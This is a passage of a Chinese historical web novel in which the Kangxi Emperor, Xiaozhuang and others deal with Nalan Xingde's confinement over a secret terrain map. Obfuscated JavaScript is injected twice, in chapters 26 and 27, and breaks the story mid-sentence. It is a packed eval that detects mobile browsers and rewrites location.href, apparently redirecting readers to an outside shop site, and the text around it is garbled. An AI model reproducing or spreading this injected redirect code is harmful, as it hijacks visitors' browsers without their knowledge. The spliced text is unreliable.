“那如今,咱们是等着老祖宗放人?” “先吃饭。”明珠拍了拍夫人的手让她放心,“如今在这件事情上,你我都插不了手,要么看皇上去跟老祖宗要说法,要么看咱们儿子自己怎么抉择。” “老爷的意思……是容若有自主权?” “怎么没有啊?”明珠刁钻道,“皇上要是跟老祖宗闹的厉害,到头来破局还不是咱们儿子吗?” 觉罗氏若有所思地点了点头。 26.第26章 慈宁宫内。 已是深夜将睡时分。 孝庄准备上榻歇息,却听见苏麻喇姑来报:“老祖宗,皇上气呼呼地往这边来了,顾问行顾总管劝不住,正跟在皇上后头一并走着呢。” “我早知道皇上会来。”孝庄走出寝殿之外,“罢了,皇上要来就来吧。纳兰性德怎么样了?” “纳兰公子不吵不闹,安静的很。按照老祖宗的吩咐送去的素食膳点,他都吃了,估计这会应该是歇下了。” “歇下?”孝庄反问,“皇上的动静这么大,我都听见了,何况是他那么细腻敏感的人?” 玄烨神情绷的紧刹,用敷衍的态度请安道:“孙儿请皇阿奶吉祥。” “皇上能让我少操点心,我自然吉祥。” 言罢,孝庄给苏麻喇姑递了一个眼神,苏麻喇姑就把殿内的人撤了下去,自己也退下了。 “我的好孙儿长大了,不但对前朝之事威风凛凛,而且对后宫之事也风雨大作,不把我大清的皇后视为皇后了。” “索额图在皇阿奶面前如何嚼纳兰的舌根孙儿不知道,但是皇阿奶不该拿朕责问皇后之事出来,觉得朕没做对。” “皇阿奶问你,因为纳兰之事而迁怒皇后,是第几回了?” “少则三五回了。” “好。”孝庄严厉问,“陪臣跟大清国国母比,谁重要?” 玄烨毫不犹豫道:“当然是纳兰重要。” “这叫什么话?” 孝庄拍了一下榻上的扶手。 “你是皇上,除了自己别人都是你的奴才,领俸禄忠君主天经地义,你把纳兰放在非同一般的地位,本身就有失偏颇。皇祖母不想你在康熙朝开‘陪臣之用、重于朝臣之用’的先例,所以叫纳兰自己反省。” “原来是皇阿奶的懿旨吗?” “赫舍里皇后是大清国的国母,朝廷里有多少大臣是赫舍里一系出身、追随着索尼的威望为我大清效力的,皇上应该自己心里有数。” “索尼要是知道自己的儿子索额图心术不正且大弄权术,必定死不瞑目。” “皇上是因为器重纳兰性德而偏向明珠吗?还是觉得自己亲政以后,仰仗纳兰父子就能把江山治理妥帖?” “明珠再如何深藏不露、纳兰性德再如何功成不居,那也是他们父子的生存之道,孙儿就是觉得纳兰父子胜过赫舍里族系的那些人,错了吗?” “用人之事,不是皇上觉得如何就能如何的。索额图和明珠是两大权臣、不是两大重臣,你自己掂量掂量:就算是为了除了鳌拜,你把索额图从吏部侍郎降为了一等侍卫,给了他一个下马威,他在朝中的地位动摇过吗?” “没有。” “包括之前你将索额图锁禁罚过、阿尔吉善流放蛮夷之地,那些忠心耿耿地追随赫舍里一族的人,心思动摇过吗?对皇上的忠诚度增加过吗?” “没有。” “这不就结了?索额图的家势摆在那里,皇上你没法轻易扳倒他不说,更是不能在这个时候扳倒他。” “是。” “再说明珠,他倒是没有显赫的家势、而是靠着自己的本事来揽取高官厚禄的,可是登高位者身上自带的劣根性他一样有,只是皇上还没有看明白罢了。” “难道皇阿奶的先见之明,就不是对明珠的偏见吗?” “偏见?试问将来:明珠权势遮天,皇上一样动不了他的时候,会采取什么法子让他畏君放权?迫杀纳兰性德给他的阿玛看吗?这样的收场方式要是传出宫去、要是变成了正史,皇上你的名声还要不要了?” “索额图的儿子犯下那些大罪朕都没杀,又怎么会杀没有犯罪的明珠的儿子?” “此一时彼一时,局势从来都不是嘴上说说的东西。皇祖母见识了太多血腥风雨,之前十四爷多尔衮打了胜仗,凯旋而归,皇太极亲率众臣出城迎接,实际上也是对多尔衮抱有杀机。功臣生死尚可凭君一面之断,何况是牺牲一个侧臣?” “不瞒皇阿奶。”玄烨老实道,“孙儿如此威胁纳兰的时候,他的态度是自己死得其所。” 孝庄欣慰道:“他倒是活得比皇上明白。” “所以皇阿奶应该还一个明白人自由。” “关于漕运、河运、三藩、边夷之事,孙儿早就拿出来训斥过大臣【注1】,所以不能怪纳兰谋高盖主。” “皇上训斥大臣,关键点是告诉他们自己想怎么施展抱负。而纳兰写出来的东西,事关我大清国国策,用的好自然是有利于大清长治久安,用的不好那就是动摇政治根基的导火索。所以皇祖母不能饶他。” “这有区别吗?孙儿有孙儿的行动的纲领,纳兰有纳兰的见解,共通的都是兴利除弊,为了大清的江山好。” “皇上,朝堂有朝堂的运作规律,议政有议政的规矩,如果离你离的近的臣子人人都这样擅自给你留折子,那本身就已经是有谄君之嫌。” “皇阿奶不相信孙儿的判断力吗?更何况纳兰的人品好的很,他写出来的东西本就是有益于大清。” “就是因为他写出来的东西有益于大清,所以皇祖母才要给皇上提个醒:侧臣可以跟皇上共些文章吟赏之事、可以听君言为君分忧,但是不允许侧臣信手拎出国策来、一声不吭地放在皇上的桌案上,供皇上自己斟酌有无道理、是否可用。” “那皇阿奶打算什么时候放纳兰出去?” “这不是皇上应该操心的事情。当下,皇上只要做出‘沉迷于跟陪练的八旗子弟对打’之事就好,别的不用皇上急着去办。” “纳兰的生日要到了,皇阿奶这般锁着他,岂不是让明珠夫妇日夜担心儿子?” “怎么?皇上还想为纳兰的生日兴师动众吗?”孝庄冷问,“那些索党之人和八旗亲贵,能答应吗?” “朕又不是给纳兰加官晋爵,就是想给纳兰一些生日恩典,怎么会招惹那些朝臣?” “糊涂!”孝庄训斥道,“你恩赏纳兰性德,跟给明珠加深权重有什么分别?再说,大清国也没有过皇上主动操办侧臣生日庆典的先例,皇上自己入梦去跟列祖列宗解释去吧。” “朕——” “皇上不用再说了,跪安吧!” * 顾问行费了九牛二虎之力,终于把玄烨从孝庄面前劝开了。 但是玄烨走出慈宁宫正殿之后,不是回乾清宫安寝,而是往侧暖阁的方向的走。 顾问行摸了摸还挂在脖子上的脑袋,跪在玄烨面前道:“奴才求求万岁爷了,当下万岁爷见不得纳兰公子。” 玄烨气道:“朕不是要见纳兰,而是要违背了皇阿奶的意思放了他!” 顾问行给玄烨磕了一个头,那意思就是:万岁爷可怜可怜奴才吧,奴才还想要自己的项上人头呢!太皇太后怪罪下来,头一个领罪的就是奴才。 “朕连放人的权力都没有了吗?还当什么皇帝!” “奴才……”顾问行一咬牙,“追随万岁爷。” 随即,他就跟上了玄烨的脚步。 来到侧暖阁门前。 玄烨冲着那些统卫一喝:“给朕让开,朕要见纳兰。” 下一瞬间,暖阁内的烛灯就被依次熄灭了。 玄烨对着里面喊:“纳兰,你变得比之前还冷静了,独处黑暗,你就是用这种态度来面对朕吗?” 里面没有传出一句回应。 一统卫道:“奴才等不能遵皇上的命令,恭请皇上离开。” “住口!”顾问行对那统卫道,“万岁爷是天子,天子的去留岂容你等决定?” “明日朕叫了禹之鼎到书房画像,叫他把朕、你、曹寅,还有他自己一并画进同一幅画里,你要是不在,禹之鼎就是白来。” “你可知道之前朕曾跟禹之鼎开玩笑道:‘禹画师你真是个奇才,作画不限于纸张的规格,小到能画菩萨像在片甲之间,大到能画大清江山于朕眼前,不是别的画师有胆子比的。’ ” 听到这里,纳兰一下子明白玄烨再向自己暗示什么了: 第一,明日画像之事为借口,只为引出话题。 第二,别的画师之所以没胆子跟禹之鼎比,是因为皇上书房后面的《天下地形图》,正是禹之鼎所绘。 第三,如果纳兰性德给《天下地形图》做战略布置和写国策折子有罪,那么画那幅图的禹之鼎,也同罪。 “臣请皇上把格局打开,然后请回。” “你说什么?” “臣说完了,皇上请回。” 玄烨被纳兰的回应激的一愣。 外面宫灯通明,阁内一片漆黑,他也看清纳兰在干什么,只是觉得纳兰的那句话绝对没有那么简单,应该是有什么深意才对。 “万岁爷。”顾问行小心翼翼地叫了一声,“您今晚是打算在这里陪纳兰公子过,还是回乾清宫?” 玄烨忽然从嘴里发出一声不长不短的笑,然后迅速转怒对阁内道:“纳兰,看来朕不必管你了,你自生自灭吧!” 暖阁里传出了几声咳嗽声,以及一句:“请皇上速回,不要扰了臣静听风雪声的兴致。” 玄烨转身就走。 左统卫问:“皇上和纳兰公子之间是怎么回事?我怎么觉得:他俩在互打哑谜呀?” 右统卫道:“他俩怎么样都好,至少咱们没有失职,不然对太皇太后没法交待。” * 纳兰悄悄打开了轩窗的一条缝,看着皇上离开的背影。 即便是那么一条细小的缝隙,也足以冻得他浑身如在冰窖。 等到皇上的身影彻底消失了,纳兰关好窗户,抱腿坐在了红萝炭炭盆边。 好像……只有这样,才能让身子骨最大限度地拥抱暖意。 被皇上听见了几声咳嗽声,倒不是刻意,而是觉得冷之后身体的本能反应。 按照惯例,这个时点时点侍女袖云应该端汤药过来服用了,隔一阵子就要饮汤药的习惯,每个冬天都在延续。 今晚儿未遵行,家中的阿玛和额娘是否在担心? 想起那天在皇上的书房的御桌上放折子的事,纳兰其实印象不太深刻: 把折子放下后,自己觉得身体不适,毫无理由地四肢冰凉、伴随着阵阵头痛和目痛。本着不给任何人添扰的性子,自己决定直接去太医院找太医诊疗。 离开前有没有拿回或是拿走那道折子,自己记不清了。 好像是在半路上体力不支晕了过去,晕在积雪不薄的石阶上。 醒来后,觉得寒症的症状减退的差不多了,就想着回家—— 回家就能见到额娘了,这一天,是额娘从“济国寺”下山归明府的日子。 自己有好多话想跟额娘说、也想听额娘说许多话,还想问额娘:“妙觉禅师有没有什么话劳额娘您转告儿?” 可是。 苏嬷嬷忽然来了,说是太皇太后让纳兰性德即刻到慈宁宫去见。 自己就跟着苏嬷嬷去了,去了以后就经历了一番“跟折子”相关的事,处境成了现在这样。 红萝炭无烟无声,这是是它的优点,却让纳兰觉得寂寞。 明明离得这么近,也不见得暖意来,纳兰无奈又觉害怕。 想家了。 这三个字,是他心中最真实的念头。 ——除了亲人和皇上,还有别人记挂着我吗? ——比如说:宛卿。 * 乾清宫。 见玄烨躺上了床,顾问行悬着的心终于落下了三分之二。 “朕睡不着,顾总管,你留在朕身边陪朕说话。” “是。” “你觉得纳兰对朕的态度如何?” “那自然是刀子嘴软云心,纳兰公子心里指不定多感激万岁爷您呢。” “你知道他句句话都在赶朕走,是什么意思吗?” “奴才不知。” “纳兰知道朕明日叫禹之鼎进宫画像之事为假、而朕的书房里,那幅《天下地形图》出自禹之鼎之手为真,所以他就告诉朕:把格局打开。格局就是处理事情的气魄和大局观,要想不把禹之鼎牵涉进这件事情里面来,方法纳兰也给朕想好了。” “奴才听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305907|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万岁爷分析——” “速度要快、影响要小、把握要高。” “奴才还是不懂。” “从‘皇上请回’到‘皇上速回’,纳兰是在向朕强调:地形图之事要速战速决,不宜在书房之内多做存放。” “让朕顶风雪而归,他自己做个抱炉取暖的闲人,纳兰是想告诉朕:事态能小则小,看着眼前的实用的东西就好,无需跟天气对抗。所以朕要为自己吩咐禹之鼎作画的事承担后果,不能让有心人知道《天下地形图》是他画的东西后,让他受跟纳兰一样的罪。” “纳兰一开始就熄了灯,那是因为他有把握把朕劝回去。反过来说,朕作为一国之君,也应该有把握去保住自己的侧臣才对。” “万岁爷,您虽是把《天下地形图》立在书房里:时刻提醒自己上进和放眼版图。但是禹画师作画是秘密进行的,无人知道啊,包括是纳兰公子,他也是今晚才知道。所以奴才以为,将《天下地形图》销毁,应该就能解决一切问题。” 玄烨问:“怎么销毁,才能不引人注目呢?” “奴才有一招。就是不知道使得还是使不得。” “快说——” “万岁爷您不如将那一大幅《天下地形图》摊铺在地,然后与那些精挑出来的八旗子弟一起在上面习武摔打,趁机将那《天下地形图》毁于无形。” “这倒是个办法。” 许久,顾问行竟然看见皇上流下了眼泪,就递了龙帕上去,问:“万岁爷怎么了?” 玄烨半仰着头道:“朕眼前全是《天下地形图》上面的布阵点石、设卡竹签、要塞毫羽,纳兰用心为朕做军师,朕想纳兰了……” “那家伙,只懂得为朕好、为别人好,就是不知道顾着自己。” 玄烨忽然下床,开窗看向了纳兰所在的方向。 * 次日。 民间的一处雅致单间之中。 禹之鼎在纸上泼墨为画,官云辞在他身边陪伴。 根据云辞的指点,禹之鼎把《韵彩万花琉璃图》给一气呵成地画了出来。 细观那幅卷轴: 可见一只透明的华美琉璃浮雕瓶子,底部半盛水,青绿色的花杆有斜斜的切面,正入水底,而在瓶中未有水的部分,花杆则是画出了左右错觉的效果,看着颇是生动。 禹之鼎笑自己:明明应该随喜赞叹漂亮富贵的年花才是,怎么把功夫都下在了“花杆”的“光影效果”上?这大概又是走在了如意馆的其他画师的前头了吧? “花团锦簇,不显突兀,花朵部分、琉璃瓶部分和背景部分,留白正好,整体看上去很舒服。色彩选取方面,透明色的瓶子搭配朵瓣大气、厚端、雍华的牡丹等群芳,亦是符合皇家画的风格。这初稿,完成度已经达到六成。” 听完云辞的点评,禹之鼎问她:“云辞格格,为什么你我相聚论画,要选在这个雅室里?” 云辞道:“这就好比是你画的这瓶花,你说为什么只有开的好、姿态靓的才能留下呢?全在人的眼光。这个房间能够避开世俗杂音,让你专心作画,没什么不好。” “那如果你我一同在如意馆的一角做同样的事情,会如何?” “那自然是会有人回了太皇太后,说官云辞和禹之鼎走的过近,坏了画师和八旗格格之间的规矩。” “你怕太皇太后的处罚或事警诫吗?” “我没什么好怕的,只是禹画师你还在磨练画技和以技上青云的道路上,不能惹了太皇太后不高兴。” “我是皇上身边的侧臣,日后太皇太后想要怎么对待我,根本不用单独拿出你我之间的事来说。” 云辞笑道:“你有这样不畏人言的心态,我自然是高兴。” “哦,对了。”禹之鼎忽然很认真地看着云辞,“有件事我要告诉你。” “什么事?”云辞在心里猜,“你不会是想问我:该不该给纳兰家送年贺画作吧?纳兰公子与你是好友,他阿玛明珠对你有举荐之恩。” “倒不是这个,”禹之鼎指着自己刚刚写下的一列字,“江山清亮似琉璃。我记着云辞格格说过的这句话,然后我就——” “就怎么了?” “就领了一份没有画师敢做的差事、且按照皇上的意思把那份差事给办妥了。” “最坏也不过就是:叫你给罪臣多尔衮、多铎、阿济格三兄弟画像,且把盖有‘禹之鼎’三个字的款章的挂轴送进伟业阁【注2】——以功臣之礼来供奉那仨人,你做这事了吗?” “没有。” “那就好。看来皇上没有逼你在刀尖上跳舞嘛。” “可是皇上叫我秘密画了一幅《天下地形图》,那幅地形图,如今正立在皇上的书房里。” “地形图,立在皇上的书房多久了?” “半个月了。” “你担心那幅地形图会给自己招来祸患?” “我从同僚口中听到消息:太皇太后因为《天下地形图》之事处置了纳兰,当然我绝不是幸灾乐祸,相反我很担心纳兰的安危。就是……太皇太后迟早会知道地形图是我画的,我该如何自保?” “并非事事都能自保,有时候要化劫,还得依靠系铃人。这事毕竟是因皇上而起的,只要皇上愿意保你,你自然能平安无事。” “皇上……会保我吗?” “我没有一个确切答案,但是有个想法:皇上能保你,但保不了纳兰公子。” “那我不能独自开外,还不如直接去向太皇太后坦诚一切,跟纳兰公子一同……” “我不是那个意思,没叫你在这个时候上演一出‘友情真挚,共事君侧,绝不独善一身’的戏码出来。而是想叫你看看——” 云辞看着窗台上的一盆雅兰,意味深长道: “纳兰公子自身如何破局。” 【注1】玄烨第一次提漕运、河运之事,见第21章 【注2】紫光阁始建于明代。清初曾短暂用名:伟业阁(出:康熙朝重臣高士奇)。乾隆二十五年重修,用作描绘和展示功臣画像,刻御制诗置紫光阁内。 27.第27章 容若被软禁在慈宁宫侧暖阁期间,朝廷上下一片风平浪静。 明珠一个字没有在同僚们面前提及自己的儿子。 即便是面对索额图的嘲讽:“让纳兰公子收敛上一阵子也好,免得大清开山祖宗们定下来的制度都毁在他口中、他手里。贵公子又不是被囚禁在牢狱中,只是一只漂亮的鸟儿,从一个笼子换到另一个笼子罢了,明珠你还怕他有什么闪失吗?” 他也只是忍气在心,回应道:“过个好年呀!索大人。” 索额图冷笑道:“可不是吗?我的长子阿尔吉善这辈子是毁了,再也无法跟我团圆了。而你,这个年即便是没有大公子陪着,还能把次公子揆叙和三公子揆方从别所接来明府一起吃个‘团圆饭’呢。就是不知道大公子心里是什么滋味。” 明珠一想: 太皇太后许诺,让容若陪皇上一起度过“岁末把笔”的跨年时光,让明珠夫妇进宫陪容若一起吃年夜饭……这不就是说:容若必定能够在年底之前走出侧暖阁吗?这么一算,日子近了。 明珠豁然开朗。 忽然在朝堂上释怀大笑,群臣皆惊。 鳌拜问:“明珠大人,你这是在笑什么?” 明珠拱手,话里有话道:“下官不得不故作乐观啊!免得有心人以为我儿容若在孤独处悲观。” 说罢,明珠冷扫了索额图一眼,道:“皇上要上朝了,索大人,你可要把头抬起来呀!从正一品降到从二品,再从二品降职到正三品,皇上对你的人品和内里可是清楚的很。” 索额图早就把跟明珠斗争当成朝堂上必不可缺的环节,道: “官场之路,升升降降本就无常。我能跟我二阿尔吉善一刀两断父子关系,是我的坦荡选择。就想问问明珠大人,你收尽天下财富、集遍天下门客,可曾全收过大公子的心?” 明珠笑而不答。 随后,就传来了司礼大太监的一声高喊:“皇上驾到——” * 另一边。 赫舍里皇后正在着手准备冬去春来时的选秀之事。 说是着手准备,其实也已经经历了一个长久的过程,只是皇上没兴趣过问、也没兴趣知道罢了。 按照孝庄太皇太后的意思,挑秀女的大前提,是要挑出身名门的女子,然后才是看姿容是否出挑。 “有才气是要紧的,但又不是最要紧的。皇上正在发奋图强的年纪,要是身边女子不懂得似水温柔地伺候、而是触犯了干政的大忌,那就不是内务府可以承担责任的了,皇后,你也有识人有误和教导不周之罪。” “谢老祖宗提点,臣妾一定慎重对待选秀之事。” “你玛法索尼是大清的功臣,爱新觉罗家不会忘了他。你是我的孙媳,大清国国母,要拿出皇后的样子来,跟皇上一起挑出德行配位的女子充盈后宫。” “是,臣妾记下了。” 赫舍里翻阅着内务府送来的预选秀女名册,问近身嬷嬷:“皇上看过了吗?” 嬷嬷道:“皇上的心思不在这上面,故而未看过。不过敬事房的公公已经托了顾总管给皇上做提醒了。” 赫舍里叹道:“皇上要是自己对这届秀女的姓名、出身、年龄、品性没底,完全按照自己的性子来挑,挑错了岂不是又要怨本宫和老祖宗?” “皇后娘娘,还有时间叫皇上上心选秀之事。”嬷嬷安慰道,“再不然,太皇太后也不会由着皇上不理,毕竟延绵子嗣是皇上和后宫嫔妃的共同责任。” “历朝历代的皇后,都是皇上的明媒正娶,入主正宫之后,一心盼着后宫姐妹谐好共处、同沾君恩雨露。到了康熙皇帝这一朝,本宫却是数次差点就从皇上口中听得自己最不想听的话,是本宫做的不好不够吗?” “那自然不是。”嬷嬷宽解道,“皇上和皇后娘娘都还年轻,难免会起碰撞。奴才相信,感情之事,会日渐加深,皇后娘娘要相信皇上呀!” “本宫问你,嫔妃侍寝之后,是要来向本宫行礼的,可是近来无人前来面见本宫,是因为皇上夜夜宿在乾清宫,未招幸过任何一位嫔妃吗?” “回皇后娘娘,是。” 赫舍里拿出了母仪之范,道:“你去给各宫的嫔妃传话,就说:皇上忙于前朝之事和年关之事,少来后宫也是有的,切不可因此就对皇上起了怨恨。” “是,奴才这就去。” * 慈宁宫侧暖阁。 容若坐在其中,门窗紧闭,少了看月和数星的乐趣。 好在是房中书籍和笔墨俱在,让他能够写词抒发心绪。只是,这些词写好以后,该不该带走?带走以后,又该拿给谁看呢? 答案未出,却在耳边听到了熟悉的声音:“纳兰公子。” 容若一惊,觉得自己是被寒症寒出幻觉来了—— 沈宛?不,她不可能来。 就算她凭借一身本领进入了皇宫大门,也不一定能够找到纳兰在哪儿呀! 果然,四周无人。 隔着窗子外看,也只是把守的统卫们的身影,什么都没有改变过。 容若这下子安心了。 不然沈宛突如其来,自己也不知道如何是好。 万一不幸,沈宛被统卫们捉了个现成,这又是一桩百口莫辩的“明珠家事”了—— 阿玛的政敌们肯定会发出各种议论来: “真是‘可喜可贺’啊,明珠大人!纳兰公子喜逢门不当户不对的民间侠女冒死闯宫相救,可是在我朝开了先例了!” “不想明珠大人自己学识渊博,家教却是让人不耻为闻。试问:纳兰公子与那种身份相径的女子有所交集,怎么对得起那些上明府提亲的人?” “纳兰性德,罪上加罪!那个女子,底细不清,若是跟反清势力有所勾结,呵呵,明珠大人,那就让贵公子等着领流放宁古塔的大罪大罚吧!” 相思怕见。 容若此时对沈宛是这样的感情。 暖阁内的桌子上,一只小炭炉上放着一把小铜壶,小铜壶一直灌满了水温着。 容若发现了缓解寒症的一个小方法,那就是: 不靠各种炭让室内温暖如春,而靠双手的掌心握着装了热水的杯子让自己从心生暖。 感触着水杯从烫到温、再从温到凉,就如同完了一次生命轮回一般,能让皮肤的冻跟骨头的痛都隐下去许多。 不过,没有在规定的日子里吃药,身体还是难逃不适。 容若又一次确认了内外都没有沈宛的身影后,才躺上床去,合被而睡。 * 天微微亮。书房内。 玄烨亲自举着一盏烛火,看着顾问行把黏在《天下地形图》上的各种战略记号的“标志之物”,都一一取了下来。 “万岁爷,奴才不是个懂军事的,可是在回收这些‘标记物’的时候,也多少看出了些眉目来。” “那是因为纳兰标记的清楚又有层次,他比那些带兵打仗的王爷们强,也比那些纸上谈兵的文臣们强。” “恕奴才大胆,”顾问行指向三处,“这滇南藩地、噶尔丹盆地、台湾高地,纳兰公子做的标记格外不同,可是因为此三处都关系到大清的大一统?” “朕的大志就在那里!” 玄烨把灯盏往旁边一放,做出了张开双臂、揽抱乾坤的动作。 顾问行看着万岁爷的神情,为之一震。 ——果然,君臣都想到一块去了。 ——这才是真正的君明臣贤啊! 等到天完全亮了以后,玄烨吃过早膳,就对两个侍卫下了命令:“朕要去武英殿外的空地练习功夫,把书房的地形图一并给朕搬过去。” 两个侍卫应了:“是!” 就一并把那幅地形图给搬走了。 等到玄烨来到武英殿外的时候,那十几个年纪差不多大的八旗子弟,已经在一等侍卫图尔深的带领下,齐齐恭候圣驾。 玄烨亲自把《天下地形图》往地上一铺,道:“朕今日,要与尔等一同脚踩山河而对垒。” 见皇上气势恢宏,那些八旗子弟哪有不敢的道理? 于是,就个个摩拳擦掌,不再是赤手空拳,而是拿起了各自所擅长的兵器,一个接连一个地与皇上单挑起来。 玄烨擅长用剑,每每与一个陪练之人单挑之时,就趁机把脚下的地形图用剑滑破、割裂与挑边……这么一系列动作下来,早已把地图弄的七零八乱,再难恢复原貌了。 玄烨惬意道:“朕今日甚是爽快,身子骨热血沸腾,精神激昂满载,再战三百回合也无妨!” 一等侍卫图尔深道:“皇上神武,奴才等应当再做精进才是。” 他身后的八旗子弟们站成了一排,也是个个不服气的样子,等着跟皇上再战。 玄烨就是看好这样的竞争氛围,朗声道:“好,朕就换一样兵器,与尔等再打。顾总管,你去拿双锤来,朕还未有过双手协同应战的经验。” 顾问行道:“是,奴才这就去拿。” 就在顾问行转身的瞬间,玄烨看见了一个熟悉的身影。 竟然是身强力壮的:鳌拜。 鳌拜见了皇帝,照例只行口头之礼而不行跪拜之礼。 玄烨隐忍着道:“鳌拜大人来武英殿作甚?” “皇上才是,”鳌拜反问,“为何与这一群人在武英殿外打打闹闹?” 这正中玄烨下怀,玄烨就是想给鳌拜一种—— 年轻人之间打打闹闹、没点体统的样子的感觉,好让他放松警惕。 “朕如今才知道,” 玄烨故意做出悔恨的模样道: “纳兰性德欺君误国,只会把自己的理想抱负强加在朕身上、让朕逆了祖制来满足他的一己私利。现在纳兰性德已经被扣押,等朕理清楚了他的其他罪名,定会当着鳌拜大人和其他大臣们的面,亲自料理了他!” 鳌拜道:“皇上圣明。” “现在朕是把祖制牢牢记在心中,重拾了咱们满人骑马射箭、摔打拳脚、枪刀绳镖……的硬本事,才决意来此处练武。” 说着,玄烨看向一等侍卫图尔深。 图尔深立刻会意道:“是啊,奴才等正是听到皇帝要大兴满清祖制、才领了这份与皇上一起切磋功夫的差事的。” “皇上有这份觉悟,我鳌拜作为辅政大臣甚是欣慰!” “我大清本就是马背上的民族,何须效仿汉制?何须一仗方完、又另打一仗?鳌拜大人,你说呢?” “皇上回心转意,天上的列祖列宗都看在眼里,轮不到我鳌拜再出说辞。” “鳌拜大人,朕成就伟业离不开你,你要继续忠心耿耿地对朕啊!” “皇上明鉴,我鳌拜对大清绝无二心。” ——好是狡猾的回答。 玄烨心想:“对大清”和“对皇上”可是两个概念,国一直在,君主却在迭代。 “如果皇上没有其他事情,鳌拜就此告退。” “好,你告退吧!” 鳌拜告退后。 玄烨遣散了一等侍卫图尔深和那些八旗子弟,并且叫顾问行亲自打扫干净了地上的《天下地形图》残片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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打开盒子,容若一边赞叹侍女袖云的细心,连剥好的一二十粒松子也一并装进去了,这样吃苦药不会觉得苦;一边发现了阿玛的用意,这个药这个周期,纳兰家一起合计过,一定要熬过去啊儿子。 用温水把药送服入口后,容若觉得浑身不再那么冷了。 ——心是温的,所以意识也是温的。 ——如此,冰清的只是天上的明月,霜冷的只是窗外的雪花,这样,就好。 翻开药盒盒盖的背面,容若单手托腮看着明珠的画。 他始终带着微笑,似乎不笑,似乎离开了跟“家”相关的东西,就会被寒冷包围、被骨头的刺痛吞噬,很难再笑出来了一样。 我以前读《三国》,常与阿玛讨论里面的谋略。父子之间互辩不同角色的优与劣、互论在特定时局下那些英雄的选择的对与否、互看天下大势分合之后各政权的存亡的成与败。 而今却是有两位女子说:“纳兰公子,你像只笼中鸟。”【注2】 就跟我手中的阿玛的画一样:一片羽毛在困局中,向凭风飞也飞不出去。 ——如果可以把阿玛的意思理解为:张飞入笼,日夜关羽。 ——那么我亦能对此做出回应:悟能在世,风云行者。【注3】 我并不喜欢读《西游记》,宫廷上演的相关戏剧也从未看过。 只是觉得读书,果然还是要读跟自己的性子相符的书才好,不然书里的世界再精彩纷呈、再催人上进,也不见得就是开卷有益。 现在我拿出从《西游记》中总结的八个字来对阿玛的无声对联,只想告诉阿玛: 行者从五指山下破局而出,靠的不是他的师傅三藏法师,而是自己的开悟。即便猴躯无法挣离束缚,那么元神也可以出窍遨游天地间,也算是一种解脱不是吗?我不是行者,却可以站在行者的境界之上,以自己最有把握的一种方式从现拘地走出。堂堂正正地走出,不糟任何一人诟病。 请阿玛额娘放心,我能做到。 把药盒放回盒子上,容若来到了窗边。 不知道有没有人明白那种感受: 不透风的窗户,往往比透风的窗户冷的更彻底;冷时怕冷热时不汗的人,往往比体感自如的人更清醒。 一盏暖茶。 在手握之间、在品饮之间。 容若的脑海里浮现出“饮水词”三个字。 似乎,很适合做自己的词集的名字。 倒没有那种“如鱼饮水,冷暖自知”的感觉,而是仿佛看到了画卷: 江上烟雾茫茫,岸边蒹葭苍苍,偶尔闪过点点火光,像是星幕所垂、又像是孤去的流灯。 “天际云不尽,萤灯水非清。鱼人皆不饮,谁心叹残风?” “孤盏终将散,薄壳空载月。唯见水深处,碧落不复栖。” 【注1】体调:身体情况。 【注2】笼中鸟:官云辞这么说,见第18章;沈宛这么说,见第19章。 【注3】 三国:张飞入笼,日夜关羽。(两将,斗的是天下大势) 西游:悟能在世,风云行者。(两徒,破的是心法心魔) 解:纳兰父子之间的智商博弈。 -明珠关切儿子在软禁过程的情况。 -容若回应阿玛: 时局是客观的,心智是主观的。 不用等太皇太后主动开口放人、也不用等皇上想办法下君令,儿子会自己想好时机,主动从侧暖阁破局而出,且不惹朝廷内外非议。 28.第28章 玄烨坚持“遵祖制练武”十二天,纳兰性德囚在侧暖阁十二天。 一个在外大展拳脚,一个在内听雪温书,对比如此鲜明。 在此期间—— 明珠叫容若的贴身侍女袖云把容若拟的《进献皇上和太皇太后年贺品清单》拿给他看,得到的回复是:“袖云不敢逆了公子的意思,先一步拿给老爷过目……怕是公子要伤。请老爷原谅。” 明珠没有强求,只在心里盘算自己想要准备的年贺品,看看到时候跟儿子想的有多少出入。 鳌拜办了一场家宴。 瓜尔佳氏一族的亲贵都去了,包括穿着洋装出席的云辞。 朴尔普喝醉,对鳌拜说了这么一番话:“我这一生,该立的军功立了,该享的荣华享了,就是还有一件憾事,未将纳兰性德纳为女婿。” 云辞没有在众宗亲面前为自己辩解什么,却听见了鳌拜的反应:“没法把明珠的儿子内定为女婿,那是你没本事!但要是委屈了我的堂侄女云辞,就是你这个做阿玛的失格。” 朴尔普瞬间酒醒。 跑到费英东和图赖的高挂的画像面前郑重拜了三拜,大声道: “祖辈们在上,自问我朴尔普文武并驱,凭功勋得一等公高位,从未给瓜尔佳一族丢过脸,还请祖辈们保佑我女儿云辞最终能够嫁给纳兰性德。” 孝庄将“因平乱而殉职的广东总督卢兴祖”的女儿接到宫中抚养,孝庄这么做,抱着明确的政治战略目的,却没有跟卢氏直说。 一日,卢氏经过侧暖阁时,孝庄叫住她并问她:“你知道谁在里面吗?” 卢氏答:“臣女不知,只是觉得侧暖阁别是雅致,许是因为里面的人的缘故。” 孝庄道:“你是汉军镶白旗的人,他是满洲正黄旗人。此前他胆子大得很,不但给皇上献国策,还在我面前要求我——扶正和均衡八旗之间的利益,尤其是两黄旗和两白旗。所以我把他软禁起来了。” 卢氏半低着头问:“是位公子?” 孝庄点头,同时苏麻喇姑才要说出“还是我们满清第一大才子”时,就被孝庄用眼神做了停止。 